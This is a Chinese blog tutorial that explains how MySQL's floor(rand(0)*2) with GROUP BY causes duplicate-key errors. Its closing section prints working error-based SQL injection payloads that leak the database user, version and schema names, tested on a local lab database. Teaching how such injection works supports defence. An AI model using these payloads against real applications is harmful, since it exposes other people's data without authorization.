mysql報(bào)錯(cuò)注入原理分析之floor()

環(huán)境:mysql 5.1.73

[root@localhost ~]# mysql --version
mysql  Ver 14.14 Distrib 5.1.73, for redhat-linux-gnu (x86_64) using readline 5.1
[root@localhost ~]#

1.首先普及幾個(gè)mysql里面的函數(shù)

  1. floor()
  • 在mysql里面floor()函數(shù)是取整(注意:不是四舍五入),下面實(shí)際操作驗(yàn)證一下
mysql> select floor(0.3);
+------------+
| floor(0.3) |
+------------+
|          0 |
+------------+
1 row in set (0.00 sec)

mysql> select floor(0.5);
+------------+
| floor(0.5) |
+------------+
|          0 |
+------------+
1 row in set (0.00 sec)

mysql> select floor(0.8);
+------------+
| floor(0.8) |
+------------+
|          0 |
+------------+
1 row in set (0.00 sec)
圖片.png
mysql> select floor(1.8);
+------------+
| floor(1.8) |
+------------+
|          1 |
+------------+
1 row in set (0.00 sec)

mysql> select floor(1.5);
+------------+
| floor(1.5) |
+------------+
|          1 |
+------------+
1 row in set (0.00 sec)

mysql> select floor(1.3);
+------------+
| floor(1.3) |
+------------+
|          1 |
+------------+
1 row in set (0.00 sec)

mysql> 
圖片.png

事實(shí)證明上面說(shuō)的沒(méi)毛病

  1. group by
  • group by 我的理解是分組查詢,根據(jù)一個(gè)列或者多個(gè)列,值相等的在一起

  • 下面實(shí)際操作理解一下,首先在數(shù)據(jù)庫(kù)test里面創(chuàng)建一張test

mysql> CREATE TABLE IF NOT EXISTS `test`(
    ->    `id` INT AUTO_INCREMENT PRIMARY KEY,
    ->    `name` VARCHAR(100) NOT NULL,
    ->    `number` INT NOT NULL,
    ->    `content` VARCHAR(100)
    -> )ENGINE=InnoDB DEFAULT CHARSET=utf8;
Query OK, 0 rows affected (0.07 sec)

mysql> 
圖片.png
  • 然后在test表中插入一些數(shù)據(jù)
mysql> insert into test
    -> (name,number,content)
    -> values
    -> ('aa',2,'11'),
    -> ('aa',3,'22'),
    -> ('bb',4,'33'),
    -> ('bb',5,'44'),
    -> ('bb',5,'55'),
    -> ('cc',6,'66'),
    -> ('cc',6,'77'),
    -> ('dd',2,'88'),
    -> ('ee',2,'99');
Query OK, 9 rows affected (0.00 sec)
Records: 9  Duplicates: 0  Warnings: 0

mysql> 
圖片.png
mysql> select * from test;
圖片.png
  • 接下來(lái)進(jìn)行我們的探索
mysql> select * from test group by name;
圖片.png

通過(guò)比較,可以看出通過(guò)group by將字段name相同的進(jìn)行分組查詢,注意這個(gè)地方不要看其他內(nèi)容,單純理解一下這個(gè)分組的意思

  • 然后我們接著來(lái)看,上面不是說(shuō)了分組的含義嗎?其實(shí)數(shù)據(jù)庫(kù)在執(zhí)行group by時(shí)候創(chuàng)建了一張?zhí)摂M的表,是知道name這個(gè)字段相同的有幾條結(jié)果的,如下圖測(cè)試說(shuō)明:
圖片.png
  1. rand()
  • 在mysql里面rand()函數(shù)是隨機(jī)產(chǎn)生一個(gè)范圍(0,1)的隨機(jī)數(shù)**
圖片.png
  • 那么有人也許有疑問(wèn),隨機(jī)產(chǎn)生的值有規(guī)律嗎?為了驗(yàn)證猜想,下面找一個(gè)數(shù)據(jù)量比較大的表information_schema.tables測(cè)試一下,這里我只取30條數(shù)據(jù)實(shí)驗(yàn)
mysql> select rand() from information_schema.tables limit 0,30;
圖片.png

首先可以查看到每一條都是隨機(jī)產(chǎn)生的浮點(diǎn)型值,而且這條sql語(yǔ)句經(jīng)過(guò)多次執(zhí)行發(fā)現(xiàn),每一次執(zhí)行結(jié)果也是隨機(jī)的,由此可以得出此時(shí)rand()是真隨機(jī).

  • 這樣看起來(lái)是不是有點(diǎn)累,開(kāi)始的時(shí)候我首先普及了一個(gè)floor()取整函數(shù),那么接下來(lái)我們可以這樣做,會(huì)更清晰,更直觀.
mysql> select floor(rand()) from information_schema.tables limit 0,30;
圖片.png

這樣看是不是就這清晰直觀明了,但是有人又有疑問(wèn)了吧,為什么都是0呢,不是隨機(jī)的嗎,別忘了我們rand()隨機(jī)范圍(0,1),也就是隨機(jī)出來(lái)的都是小于1的小數(shù),然后floor()取整后可不都是0嗎,這樣看著方便了,但是卻看不到隨機(jī)性了,那好我們想個(gè)辦法繼續(xù)往下看。

mysql> select floor(rand()*2) from information_schema.tables limit 0,30;

圖片.png

這步看著應(yīng)該不難理解吧,就是將隨機(jī)范圍(0,1)擴(kuò)大2倍變成(0,2),這樣隨機(jī)值是不是有0點(diǎn)多的、1點(diǎn)多的,然后取整就可以清晰簡(jiǎn)單的研究其規(guī)律。經(jīng)過(guò)多次執(zhí)行這條語(yǔ)句發(fā)現(xiàn):是沒(méi)有規(guī)律的。這和之前沒(méi)取整說(shuō)的真隨機(jī)是一樣的。

  • 既然rand()是沒(méi)有規(guī)律的,我們?cè)趺囱芯???bào)錯(cuò)注入我們谷歌百度發(fā)現(xiàn)都是rand(0),那好,我們?cè)谠囈辉囉须S機(jī)因子是什么情況
mysql> select floor(rand(0)*2) from information_schema.tables limit 0,30;
圖片.png

經(jīng)過(guò)多次執(zhí)行這條語(yǔ)句,你會(huì)發(fā)現(xiàn)這是一個(gè)規(guī)律,每次隨機(jī)結(jié)果和這個(gè)一模一樣

2.有了上面講的基礎(chǔ)知識(shí),我們接下來(lái)就真正的研究下報(bào)錯(cuò)注入

  • 首先看一條報(bào)錯(cuò)的sql語(yǔ)句
mysql> select count(*) from test.test group by floor(rand(0)*2);
圖片.png

可以看到報(bào)錯(cuò)顯示位'1',這個(gè)錯(cuò)誤就是由于主鍵不能重復(fù)而暴出的錯(cuò)誤

  • 接下來(lái)一步一步分析一下這個(gè)過(guò)程
    (1).首先查詢之前會(huì)默認(rèn)建立一張空的虛擬表,如下圖所示:
圖片.png

(2).取第一條記錄,執(zhí)行floor(rand(0)*2),發(fā)現(xiàn)結(jié)果為0(第一次計(jì)算),查詢虛擬表,發(fā)現(xiàn)0的鍵值不存在,則floor(rand(0)*2)會(huì)被再計(jì)算一次,結(jié)果為1(第二次計(jì)算),插入虛表,這時(shí)第一條記錄查詢完畢,如下圖:

圖片.png

(3).查詢第二條記錄,再次計(jì)算floor(rand(0)*2),發(fā)現(xiàn)結(jié)果為1(第三次計(jì)算),查詢虛表,發(fā)現(xiàn)1的鍵值存在,所以floor(rand(0)*2)不會(huì)被計(jì)算第二次,直接count(*)加1,第二條記錄查詢完畢,結(jié)果如下:

圖片.png

(4).查詢第三條記錄,再次計(jì)算floor(rand(0)*2),發(fā)現(xiàn)結(jié)果為0(第4次計(jì)算),查詢虛表,發(fā)現(xiàn)鍵值沒(méi)有0,則數(shù)據(jù)庫(kù)嘗試插入一條新的數(shù)據(jù),在插入數(shù)據(jù)時(shí)floor(rand(0)*2)被再次計(jì)算,作為虛表的主鍵,其值為1(第5次計(jì)算),然而1這個(gè)主鍵已經(jīng)存在于虛擬表中,而新計(jì)算的值也為1(主鍵鍵值必須唯一),所以插入的時(shí)候就直接報(bào)錯(cuò)了。

(5).整個(gè)查詢過(guò)程floor(rand(0)*2)被計(jì)算了5次,這也是開(kāi)始說(shuō)讓記住前5個(gè)值(01101)的緣故了查詢?cè)瓟?shù)據(jù)表3次,所以這就是為什么數(shù)據(jù)表中需要3條數(shù)據(jù),使用該語(yǔ)句才會(huì)報(bào)錯(cuò)的原因。

3.利用mysql報(bào)錯(cuò)手法

  • 首先收集基本收據(jù)庫(kù)信息
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",user());
ERROR 1062 (23000): Duplicate entry '1~root@localhost' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",version());
ERROR 1062 (23000): Duplicate entry '1~5.1.73-log' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",database());
ERROR 1062 (23000): Duplicate entry '1~test' for key 'group_key'
mysql> 
圖片.png
  • 然后試試暴庫(kù)
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",(select schema_name from information_schema.schemata limit 0,1));
ERROR 1062 (23000): Duplicate entry '1~information_schema' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",(select schema_name from information_schema.schemata limit 1,1));
ERROR 1062 (23000): Duplicate entry '1~aaa' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",(select schema_name from information_schema.schemata limit 2,1));
ERROR 1062 (23000): Duplicate entry '1~bbb' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",(select schema_name from information_schema.schemata limit 3,1));
ERROR 1062 (23000): Duplicate entry '1~challenges' for key 'group_key'
mysql> 
圖片.png
  • ok沒(méi)毛病,就是這樣利用的往下就不再多說(shuō)。
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容